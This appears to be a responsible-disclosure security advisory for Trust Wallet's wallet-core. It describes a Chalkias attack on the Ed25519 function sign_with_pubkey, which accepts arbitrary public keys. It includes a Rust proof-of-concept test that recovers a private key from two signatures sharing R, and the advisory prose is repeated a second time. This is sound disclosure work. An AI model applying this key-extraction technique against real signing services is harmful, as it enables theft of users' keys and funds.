Summary
The function sign_with_pubkey
used in tw_keypair/src/ed25519 is vulnerable to Chalkias attack, this vulnerability allows an attacker to use the signing function with arbitrary public keys leading to the extraction of the private key.
Details
Chalkias attack exploits improper implementations of Ed25519 digital signature algorithms. Specifically, it leverages the failure to validate the relationship between the private and public keys during the signing process. In order to explain the attack the simplest way possible and how it applies to Trust Wallet, let’s take a look at the sign_with_pubkey
function with its comments taken directly from TW source code. This function is the main component that allowed this attack.
/// Signs a message with this `ExpandedSecretKey`.
/// Source: https://github.com/dalek-cryptography/ed25519-dalek/blob/1.0.1/src/secret.rs#L389-L412
/// Ported: https://github.com/trustwallet/wallet-core/blob/423f0e34725f69c0a9d535e1a32534c99682edea/trezor-crypto/crypto/ed25519-donna/ed25519.c#L97-L130
#[allow(non_snake_case)]
pub(crate) fn sign_with_pubkey(
&self,
pubkey: H256,
message: &[u8],
) -> KeyPairResult<Signature> {
let mut h = H::new();
h.update(self.nonce.as_slice());
h.update(message);
let r = Scalar::from_hash(h);
let R = (&r * constants::ED25519_BASEPOINT_TABLE).compress();
h = H::new();
h.update(R.as_bytes());
h.update(pubkey);
h.update(message);
let k = Scalar::from_hash(h);
let s = k * self.key + r;
Ok(Signature { R, s })
}
Before explaining the above function we can see that the logic of this signature process is taken from rust implementation of ed25519-dalek version 1.0.1
(vulnerable version).
The sign_with_pubkey
function simply takes the first parameter &self
which is ExpandedSecretKey
, it contains both the private key and nonce. The second parameter pubkey
is the public key and the third one message
is the message we want to sign. Note that normally and according to the related RFC 8032, EdDSA signatures are deterministic. For the same input message to be signed, a signature output includes two elements a curve point R and a scalar S. However, in the current implementation we dont have any validation to check if the pubkey is the actual public key for the given private key, this mean we can produce two signature the one with correct public key and a signature with the wrong public key. This will lead to a situation where the same message signed could have two signatures sharing the R part but differing in the S part, when this happens we can easily extract the private key used to sign the message. This situation is exactly the core concept of the Chalkias attack and how a large number of existing libraries failed to address this issue. These implementations allow arbitrary public keys as inputs without checking if the input public key corresponds to the input private key.
Quote from the main attack repo:
An algorithmic detail is that the signer's public key is involved in the deterministic computation of the S part of the signature only, but not in the R value. The latter implies that if an adversary could somehow use the signing function as an Oracle (that expects arbitrary public keys as inputs), then it is possible that for the same message one can get two signatures sharing the same R and only differ on the S part. Unfortunately, when this happens, one can easily extract the private key; this StackOverflow post explains why this is feasible.
In simpler terms, the signing function should not expose the public key as an input parameter. Instead, it should derive the public key internally from the private key provided in the parameters and use it for the signing process. This ensures that the public key is always correctly paired with the private key, preventing scenarios where an arbitrary public key could be introduced into the signing process. The attack exploits a missing validation step in some implementations, including ed25519-dalek
Rust library versions prior to 2.0.0. While this vulnerability was fixed in version 2.0.0, the comments in the sign_with_pubkey
function indicate that the logic originates from ed25519-dalek
version 1.0.1, which is known to be vulnerable.
PoC
To test this attack in a straightforward way, you can add the test function below to secret.rs right after the test_ed25519_expanded_secret_from_extended_key
function.
#[test]
fn test_ed25519_expanded_secret_steal() {
// Define the secret key from a string representation
let secret = H256::from("b52a1a9f4ae3bff2d16a06e144bcdd4147a35aa9843cfd0edf458afdf5ba1a3b");
// Define the nonce for key expansion
let nonce = H256::from("b33b86344897745b35bb3ef8ca8fe8a3758bd31a537280a6b8c60e42a1f3a00d");
// Create an expanded secret key using the secret and nonce
let secret_key: ExpandedSecretKey<Sha512> = ExpandedSecretKey::with_extended_secret(secret, nonce);
// Print the private key for verification
println!("private key: {:?}", secret_key.key);
// Define correct and incorrect public keys
let correct_public = H256::from("7950119e049a53a9eaa6ecfbfe354337287056ba0ea054130c1b0c97f1b69697");
let wrong_public = H256::from("1234519e049a53a9eaa6ecfbfe354337287056ba0ea054130c1b0c97f1b12345");
// Define a simple message to sign
let message = hex::decode("00000000").unwrap();
// Sign the message with the correct public key
let signature = secret_key.sign_with_pubkey(correct_public, &message).unwrap();
println!("signature using correct pubkey {:?}", signature);
// Compute k for the correct signature H(signature.R || correct_public || message)
let mut h = Sha512::new();
h.update(signature.R.as_bytes());
h.update(correct_public);
h.update(&message);
let k = Scalar::from_hash(h);
println!("Computed k: {:?}", k);
// Sign the message with the wrong public key
let signature2 = secret_key.sign_with_pubkey(wrong_public, &message).unwrap();
println!("signature using wrong pubkey {:?}", signature2);
// Compute k for the incorrect signature H(signature2.R || wrong_public || message)
let mut h2 = Sha512::new();
h2.update(signature2.R.as_bytes());
h2.update(wrong_public);
h2.update(&message);
let k2 = Scalar::from_hash(h2);
println!("Computed k2: {:?}", k2);
// Calculate the difference in 's' values from signatures
let S1_minus_S2 = signature.s - signature2.s;
// Calculate the difference in 'k' values
let h1_minus_h2 = k - k2;
// Extract the private key using the differences
let extracted_privkey = S1_minus_S2 * h1_minus_h2.invert();
println!("extracted_privkey: {:?}", extracted_privkey);
// Verify if the extracted private key matches the original
assert_eq!(secret_key.key, extracted_privkey);
}
Important Links
Impact
From what I understand so far and considering how TW has many interconnected elements that I couldn’t fully review, I can’t say with 100% certainty that this attack is applicable in production or could lead to private key leaks for TW users, I chose to submit this report private to avoid any unintended consequences, especially if it is confirmed that the impact of this attack is significant. It’s likely that you don’t expose the sign_with_pubkey
exactly as it’s defined in exposed user functions. However the core issue here, insufficient validation of the pubkey
in the sign_with_pubkey
function could potentially allow private key extraction if used in an incorrect way.
Summary
The function
sign_with_pubkey
used in tw_keypair/src/ed25519 is vulnerable to Chalkias attack, this vulnerability allows an attacker to use the signing function with arbitrary public keys leading to the extraction of the private key.Details
Chalkias attack exploits improper implementations of Ed25519 digital signature algorithms. Specifically, it leverages the failure to validate the relationship between the private and public keys during the signing process. In order to explain the attack the simplest way possible and how it applies to Trust Wallet, let’s take a look at the
sign_with_pubkey
function with its comments taken directly from TW source code. This function is the main component that allowed this attack.Before explaining the above function we can see that the logic of this signature process is taken from rust implementation of ed25519-dalek version
1.0.1
(vulnerable version).The
sign_with_pubkey
function simply takes the first parameter&self
which isExpandedSecretKey
, it contains both the private key and nonce. The second parameterpubkey
is the public key and the third onemessage
is the message we want to sign. Note that normally and according to the related RFC 8032, EdDSA signatures are deterministic. For the same input message to be signed, a signature output includes two elements a curve point R and a scalar S. However, in the current implementation we dont have any validation to check if the pubkey is the actual public key for the given private key, this mean we can produce two signature the one with correct public key and a signature with the wrong public key. This will lead to a situation where the same message signed could have two signatures sharing the R part but differing in the S part, when this happens we can easily extract the private key used to sign the message. This situation is exactly the core concept of the Chalkias attack and how a large number of existing libraries failed to address this issue. These implementations allow arbitrary public keys as inputs without checking if the input public key corresponds to the input private key.Quote from the main attack repo:
In simpler terms, the signing function should not expose the public key as an input parameter. Instead, it should derive the public key internally from the private key provided in the parameters and use it for the signing process. This ensures that the public key is always correctly paired with the private key, preventing scenarios where an arbitrary public key could be introduced into the signing process. The attack exploits a missing validation step in some implementations, including
ed25519-dalek
Rust library versions prior to 2.0.0. While this vulnerability was fixed in version 2.0.0, the comments in thesign_with_pubkey
function indicate that the logic originates fromed25519-dalek
version 1.0.1, which is known to be vulnerable.PoC
To test this attack in a straightforward way, you can add the test function below to secret.rs right after the
test_ed25519_expanded_secret_from_extended_key
function.Important Links
Impact
From what I understand so far and considering how TW has many interconnected elements that I couldn’t fully review, I can’t say with 100% certainty that this attack is applicable in production or could lead to private key leaks for TW users, I chose to submit this report private to avoid any unintended consequences, especially if it is confirmed that the impact of this attack is significant. It’s likely that you don’t expose the
sign_with_pubkey
exactly as it’s defined in exposed user functions. However the core issue here, insufficient validation of thepubkey
in thesign_with_pubkey
function could potentially allow private key extraction if used in an incorrect way.